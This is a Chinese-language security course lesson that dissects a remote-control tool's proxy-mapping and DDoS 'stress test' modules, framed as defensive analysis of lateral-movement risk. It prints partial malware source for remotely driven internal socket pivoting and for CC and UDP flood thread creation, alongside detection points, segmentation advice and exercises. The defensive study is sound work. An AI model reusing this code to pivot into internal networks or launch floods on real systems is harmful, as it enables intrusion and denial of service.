46 / 52 安全检测、响应与重构

第 46 课:代理映射、内网扫描与横向风险

# 第 46 课:代理映射、内网扫描与横向风险

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课把第 39 课“代理映射”和第 40 课“压力测试”放到同一个企业网络场景下理解:一台已经连到主控的主机,可能被用作内网访问跳板;一个看似来自内部主机的连接,可能实际由远程命令驱动。企业安全工程要关注的是东西向流量、内网服务暴露、ACL 是否生效、异常端口连接和高并发连接,而不是学习如何建立代理或探测服务。

第 46 课:代理映射、内网扫描与横向风险(配图)

# 1. 新手先理解:什么是横向风险

企业网络里常把流量分成两类:南北向流量是内网和互联网之间的流量,东西向流量是内网主机之间的流量。很多公司对南北向边界投入较多,对东西向流量基线不足。一旦某台内网主机被远程控制,它就可能访问原本外部不可达的数据库、文件共享、管理端口或业务接口。

本课只讲防御识别:

问题 防御理解
代理映射为什么危险 它把远端控制意图转成内网主机发起的连接
内网扫描为什么难发现 流量发生在可信网段内部,容易被当作正常访问
高并发连接为什么要关注 可能造成资源消耗,也可能暴露探测意图
网络分段为什么重要 即使单机失陷,也要限制它能访问的资产范围

# 2. 源码目录和文件

位置 作用 阅读重点
主插件\代理映射\代理映射\ProxyManager.h/.cpp 代理连接和数据转发 连接目标、Socket 映射、数据回传
主插件\压力测试\压力测试\DDOSManager.h/.cpp 高并发流量生成 线程数量、目标地址、协议类型
主插件\HPSocket 插件通用网络基础 心跳、包头、发送缓冲区
主控\Quick\ProxyMapDlg.cpp 主控代理映射窗口 本地连接与被控端代理数据的对应关系

依赖说明: 本课主要依赖 WinSock、DNS 解析 API 和项目 HPSocket 通信层。WinSock/DNS 负责被控主机到内网目标的连接,HPSocket 负责远程命令和数据回传,主控窗口负责把本地代理会话和被控端连接索引对应起来。代码注释中会把索引、目标、线程和回传 token 放在对应片段里。

# 3. 关键结构和函数

结构或函数 大致行号 角色 防御关注点
CProxyManager ProxyManager.h 约 22-39 行 维护代理连接状态 map<DWORD, SOCKET*> 保存多条连接
CProxyManager::OnReceive ProxyManager.cpp 约 74-133 行 处理连接、关闭、数据命令 网络命令直接驱动内网连接
SocksThread ProxyManager.cpp 约 133-215 行 按 IP 和端口连接目标 被控主机主动访问内网服务
SocksThreadhostname ProxyManager.cpp 约 216-308 行 按主机名解析并连接 DNS 查询和内网连接可关联
DDOSManager::OnReceive DDOSManager.cpp 约 41-60 行 接收高并发流量命令 远程命令触发流量生成
DDOSAttackr DDOSManager.cpp 约 146-260 行 创建多个发送线程 线程数、目标、协议类型是检测重点

# 4. 代理映射的基本链路

4. 代理映射的基本链路(配图)

代理映射模块的基本过程是:控制端下发连接命令,被控端创建 Socket 连接内网目标,之后把内网服务返回的数据封装后回传。防御侧看到的表象是:一台普通终端突然访问它平时不访问的内网服务。

// 源码位置:主插件\代理映射\代理映射\ProxyManager.h,约第 5-15 行
enum
{
    TOKEN_PROXY_CONNECT_RESULT,
    TOKEN_PROXY_BIND_RESULT,
    TOKEN_PROXY_CLOSE,
    TOKEN_PROXY_DATA,
    COMMAND_PROXY_CLOSE,
    COMMAND_PROXY_CONNECT,
    COMMAND_PROXY_DATA,
    COMMAND_PROXY_CONNECT_HOSTNAME,
};

// 防御分析:这些 token 说明该模块支持连接、关闭和数据转发。
// 网络侧可以把代理相关 token 与内网连接事件做时间关联。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 5. 命令分发:从远程命令到内网连接

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp,约第 74-133 行
void CProxyManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
    if (!m_buser) return;

    switch (lpBuffer[0])
    {
    case COMMAND_PROXY_CONNECT:
    {
        SocksThreadArg arg;
        arg.pThis = this;
        arg.lpBuffer = lpBuffer;
        Threads++;
        CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThread, (LPVOID)&arg, 0, NULL));
        while (arg.lpBuffer)
            Sleep(2);
    }
    break;

    case COMMAND_PROXY_CONNECT_HOSTNAME:
    {
        SocksThreadArg arg;
        arg.pThis = this;
        arg.lpBuffer = lpBuffer;
        arg.len = nSize;
        Threads++;
        CloseHandle((HANDLE)_beginthreadex(NULL, 0, SocksThreadhostname, (LPVOID)&arg, 0, NULL));
        while (arg.lpBuffer)
            Sleep(2);
    }
    break;

    case COMMAND_PROXY_DATA:
        // 防御分析:后续数据会被写入已建立的目标 Socket。
        // 检测时要关联命令到达、目标连接、数据转发三个阶段。
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

这段代码暴露出三个检测点:

阶段 主机表现 网络表现
收到连接命令 创建新线程 控制连接出现代理命令
连接内网目标 socketconnect 内网目的 IP/端口出现新连接
数据转发 sendrecv 循环 同一连接持续双向流量

# 6. 目标连接与数据回传

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp,约第 133-215 行
unsigned CProxyManager::SocksThread(LPVOID lparam)
{
    SOCKET* psock = new SOCKET;
    *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

    DWORD index = *(DWORD*)&lpBuffer[1];
    DWORD ip = *(DWORD*)&lpBuffer[5];

    sockaddr_in ClientAddr;
    ClientAddr.sin_family = AF_INET;
    ClientAddr.sin_port = *(u_short*)&lpBuffer[9];
    ClientAddr.sin_addr.S_un.S_addr = ip;

    if (connect(*psock, (SOCKADDR*)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
    {
        pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
        return 0;
    }

    pThis->list.insert(pair<DWORD, SOCKET*>(index, psock));

    buff[0] = TOKEN_PROXY_DATA;
    memcpy(buff + 1, &index, 4);

    while (WaitForSingleObject(pClient->m_hEvent, 10) != WAIT_OBJECT_0)
    {
        int nSize = recv(socket, (char*)(buff + 5), MAX_RECV_BUFFER - 5, 0);
        if (nSize > 0)
            pThis->Send(buff, nSize + 5);
    }

    // 防御分析:被控端以自己的网络身份访问目标服务,
    // 然后把返回数据通过控制链路送回去,是典型横向风险链。
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

如果企业只在边界网关上看互联网连接,很可能看不到这段内网访问的真实风险。更有效的方法是把终端侧 Socket 事件、东西向流量、代理日志和 DNS 日志统一关联。

# 7. 主机名连接与 DNS 线索

SocksThreadhostname 支持按主机名连接,源码中使用 gethostbyname。这意味着 DNS 查询本身也能成为线索:一台普通终端突然解析数据库、域控、内部管理系统或大量短主机名时,应进入关注范围。

// 源码位置:主插件\代理映射\代理映射\ProxyManager.cpp,约第 216-255 行
unsigned CProxyManager::SocksThreadhostname(LPVOID lparam)
{
    BYTE* lpBuffer = new BYTE[pArg->len];
    memcpy(lpBuffer, pArg->lpBuffer, pArg->len);

    USHORT nPort = 0;
    memcpy(&nPort, lpBuffer + 5, 2);

    hostent* pHostent = gethostbyname((char*)lpBuffer + 7);
    if (!pHostent)
    {
        pThis->SendConnectResult(lpBuffer, GetLastError(), 0);
        return 0;
    }

    *psock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    ClientAddr.sin_addr = *((struct in_addr*)pHostent->h_addr);

    // 防御分析:DNS 查询、Socket 创建、内网连接应按同一事件链处理。
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# 8. 高并发流量风险

8. 高并发流量风险(配图)

压力测试模块会根据命令创建多线程,面向目标生成大量连接或数据包。这里不展开任何发送细节,只看防御信号:线程数量、目标地址、协议类型、连接失败率和流量速率。

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp,约第 41-60 行
void DDOSManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT) return;

    switch (lpBuffer[0])
    {
    case COMMAND_DDOS_ATTACK:
    {
        ATTACK m_Attack;
        memcpy(&m_Attack, lpBuffer + 1, sizeof(ATTACK));
        DDOSAttackr(&m_Attack);
    }
    break;
    }

    // 防御分析:收到网络命令后直接解析流量参数,
    // 应检查 nSize 是否足够,并限制此类能力在企业环境出现。
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp,约第 146-260 行
void DDOSManager::DDOSAttackr(LPATTACK PoinParam)
{
    memcpy(&m_Attack, PoinParam, sizeof(ATTACK));
    CountTime = m_Attack.AttackTime;

    switch (m_Attack.AttackType)
    {
    case ATTACK_CCFLOOD:
        for (i = 0; i < m_Attack.AttackThread; i++)
            CloseHandle(CreateThread(NULL, NULL, CCAttack, &m_Attack, 0, NULL));
        break;

    case ATTACK_UDPFLOOD:
        for (i = 0; i < m_Attack.AttackThread; i++)
            CloseHandle(CreateThread(NULL, NULL, UDPAttackModel, &m_Attack, 0, NULL));
        break;
    }

    // 防御分析:这里仅用于识别高并发流量特征。
    // 线程数、持续时间、目标地址和协议类型应进入检测字段。
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 9. 网络分段和访问控制

9. 网络分段和访问控制(配图)

企业防护不能假设“内网就是可信”。建议至少做以下分层:

控制点 目标
资产分区 工作站、服务器、数据库、域控、运维区分开
ACL 默认拒绝非必要东西向访问
NDR 发现内网异常连接、端口探测、协议异常
防火墙 记录允许和拒绝的内网连接
代理日志 发现异常内部代理或隧道
流量基线 识别“平时不访问、突然访问”的主机对

# 10. 企业检测点

10. 企业检测点(配图)

层面 检测点 建议
主机 普通终端创建大量内网 Socket 记录源进程、目标 IP、目标端口
DNS 短时间解析多个内部主机名 与随后连接事件关联
网络 一个源访问多个端口或多个目标 关注失败率、速率、目的资产类型
身份 非运维账号访问管理端口 与账号组和主机角色关联
协议 内网流量后又回到控制连接 识别“内网访问 + 外联回传”组合
资产 服务器之间出现非业务连接 用 CMDB 或资产标签降噪

# 11. 合法练习题

  1. 不运行模块,只根据源码画出 COMMAND_PROXY_CONNECT -> connect -> recv -> Send 的数据流。
  2. 设计一条检测思路:普通办公终端 5 分钟内连接 20 个以上内网主机或 10 个以上端口。
  3. 结合资产分区,列出工作站不应直接访问的 5 类服务。
  4. 写一份字段表:源主机、源进程、目标 IP、目标端口、DNS 名称、连接结果、字节数、首次发现时间。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>